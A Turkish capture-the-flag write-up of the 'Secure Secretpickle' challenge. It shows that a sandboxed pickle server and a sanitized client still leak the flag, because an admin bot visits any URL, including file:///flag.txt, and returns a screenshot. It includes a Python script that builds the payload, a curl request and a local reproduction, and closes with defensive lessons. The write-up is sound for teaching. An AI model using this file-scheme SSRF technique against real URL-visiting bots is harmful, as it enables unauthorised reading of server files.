GPN CTF 2026 — Secure Secretpickle Çözümü
Pickle RCE sandbox'a hapsedilmiş, istemci HTML'i de temizlenmiş; bayrak yine de sızıyor çünkü admin bot verdiğin her URL'i, file:///flag.txt dahil, ziyaret edip ekran görüntüsünü geri veriyor.
GPN CTF 2026 — Secure Secretpickle
Restoran temalı bir demo; her şey ev yapımı, "şifrelenmiş" bir serileştirme formatının üzerine kurulu. Yazar klasik güvensiz-pickle hatasını alıp iki savunmayla sarmalamış; ikisi de sağlam. Bayrak yine de sızıyor — çünkü admin bot file:///flag.txt adresini ziyaret edip ekran görüntüsünü bize veriyor.
Kapsam: yalnızca yerel reprodüksiyon. Challenge kaynağı CTF arşivinde açık; dışarıda hiçbir sisteme dokunulmadı.
1. Kaynağı okumak
Format, üzerine kozmetik bir katman çekilmiş Python pickle. "Şifreleme", anahtarı kaynak kodda literal olan tekrar eden bir XOR — üstelik aynı dosya tarayıcıya da sunulduğu için anahtar hiçbir şekilde gizli değil:
# secretpickle.py
SECRETPICKLE_OBJECT_PREFIX = bytes.fromhex("8004 950000000000000000 7d 94 28")
SECRETPICKLE_XOR_KEY = bytes.fromhex("77c07f8fd2ae7ad9f5aabc008c79d0d3") # "128 random bits"secretpickle_dump = sabit sözlük başlığı atılmış pickle.dumps, XOR, base64. secretpickle_load bunu tersine çevirip bir decoder çağırıyor. Baytları kontrol eden, pickle'ı da kontrol eder — telin iki ucunda da.
Sunucu tek bir FastAPI uç noktası:
# server.py
@app.post("/{b64:path}")
async def secretpickle_handle(request: Request, b64: str):
pl = secretpickle_load(b64, decoder=safe_pickle_load) # sandbox unpickler
action = pl.get("action", pl.get("a"))
params = pl.get("params", pl.get("p", {}))
res = await action_handler(action, params, pl)
return secretpickle_dump(res)Sandbox, yani safe_loader.py, unpickle işlemini yalnızca write yapabilen bir alt süreçte çalıştırıyor:
# safe_loader.py
f = seccomp.SyscallFilter(seccomp.KILL)
f.add_rule(seccomp.ALLOW, "write")
f.load()
data = pickle.loads(raw)
print(json.dumps(data), flush=True) # düz JSON'a indirgenirBot, admin kullanıcısını parolası bayrak olacak şekilde kaydedip giriş yapıyor, sonra verdiğin URL'e gidiyor:
# adminbot.py — visit()
await page.goto(action_url("register", username="admin", password=FLAG))
await page.goto(action_url("login", username="admin", password=FLAG))
await page.goto(action_url("whoami"))
await page.goto(url) # <-- saldırgan kontrollü, şema kontrolü yok
screenshot = await page.screenshot(full_page=True)
return screenshot2. Bariz iki yolun kapalı olması
- Sunucu taraflı pickle RCE. Seccomp filtresi
writedışındaki her sistem çağrısı içinKILL.openat,execve,forkvesocketdoğrudan öldürülür; hiçbir__reduce__gadget'ı dosya okuyamaz ya da kabuk açamaz. Bir şey dönse bile, üst süreç görmeden öncejson.dumpsnesneyi düz JSON'a indirger. - İstemci taraflı pickle RCE. Tarayıcıdaki
secretpickle_load(Pyodide, sandbox yok) varsayılanpickle.loadskullanıyor. Ama yanıt baytları saldırganın kontrolünde değil: sunucu yalnızca yansıttığın değerlerden kurulan bir sözlüğüdumpediyor, yansıyan bir dize ise veridir, gadget değil. - DOM XSS. İstemci, sunucudan gelen her sonucu
document.writeöncesinde varsayılan yapılandırmaylaDOMPurify.sanitize'dan geçiriyor; yansıyan işaretleme script'e dönüşmüyor.
3. Zafiyet: bot, URL şemasına güveniyor
adminbot aksiyonu giriş gerektirmiyor ve URL'i olduğu gibi iletiyor:
# server.py — action == "adminbot"
url = base64.b64decode(params["url"]).decode()
adminbot_url = f"http://{ADMINBOT_HOST}:{ADMINBOT_PORT}/visit?url={quote(url)}"Bot ardından izin listesi olmadan await page.goto(url) çağırıyor. Chromium file:// URL'lerini render ediyor; yani file:///flag.txt bot makinesinin kendi bayrak dosyasını bir sayfa olarak yüklüyor. Ekran görüntüsü — ve botun stdout'unda page.content() — doğrudan bize dönüyor. Bayrak için ne RCE ne XSS gerekiyor: bot makinesindeki tarayıcı onu senin için okuyor.
4. İsteği hazırlamak
Yayınlanan secretpickle.py blob'u üretmeye yetiyor. action=adminbot seçip params.url alanına dosya URL'inin base64'ünü koyuyoruz:
import base64
from secretpickle import secretpickle_dump
target = "file:///flag.txt"
payload = {"action": "adminbot", "params": {"url": base64.b64encode(target.encode()).decode()}}
print(secretpickle_dump(payload))Çıktı, sunucuya tek bir POST yol parçası olarak gönderilen blob:
+8Ye7KbHFbdhJrRh6BS5vRWvCxteqAq4h8vRcxgERF90tQ3jRiJig5jGz1rYFqafDvkS7ZXoFJWb+IhkzUTtRwS1UQ==curl -s -X POST 'http://APP/+8Ye7KbHFbdhJrRh6BS5vRWvCxteqAq4h8vRcxgERF90tQ3jRiJig5jGz1rYFqafDvkS7ZXoFJWb+IhkzUTtRwS1UQ=='Sunucu şu isteği kuruyor ve çekiyor:
http://BOT:3000/visit?url=file:///flag.txt5. Yerel reprodüksiyon
Canlı bir örnek olmadığı için visit() fonksiyonunun son kısmını — page.goto(user_url) artı ekran görüntüsü — başsız Chrome'u CDP üzerinden sürerek yerel bir taklit bayrak dosyasına yönlendirerek birebir yeniden ürettim:
cmd("Page.navigate", {"url": "file:///tmp/gpn-secretpickle/repro/flag.txt"})
print(cmd("Runtime.evaluate", {"expression": "document.body.innerText", "returnByValue": True}))
shot = cmd("Page.captureScreenshot", {"format": "png"}) # -> flag.pngÇıktı:
goto(url): file:///tmp/gpn-secretpickle/repro/flag.txt
adminbot page content: GPNCTF{l0c4l_r3pr0_fl4g_n0t_th3_r34l_0n3}
screenshot bytes: 6217 -> /tmp/gpn-secretpickle/repro/flag.pngPNG 756×469 boyutunda ve içinde bayrak metni var. Gerçek örnekte tek fark yol: bot makinesindeki bayrak /flag.txt ve aynı page.goto onu okuyor.
6. Bayrak ve dersler
Yerel taklit bayrak, gerçeğin okunduğu yöntemin aynısıyla okundu:
GPNCTF{l0c4l_r3pr0_fl4g_n0t_th3_r34l_0n3}Dersler:
- "Benim için şu URL'e git" özelliği bir URL getiricidir, ve bir URL getirici saldırı yüzeyidir. Şemaları izin listesine al (
https:yeter),file:,gopher:,data:,javascript:reddet. - Ekran görüntüsü döndürmek kör SSRF'i bir okuma ilkeline çevirir. Bot render edebiliyorsa, sen okuyabilirsin.
- Zor görünen savunmalar gerçekti. Unpickler'ı sandbox'lamak ve DOM'u temizlemek bariz hataları kapattı — bayrak ise ikisiyle de alakası olmayan üçüncü bir kapıdan sızdı.
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver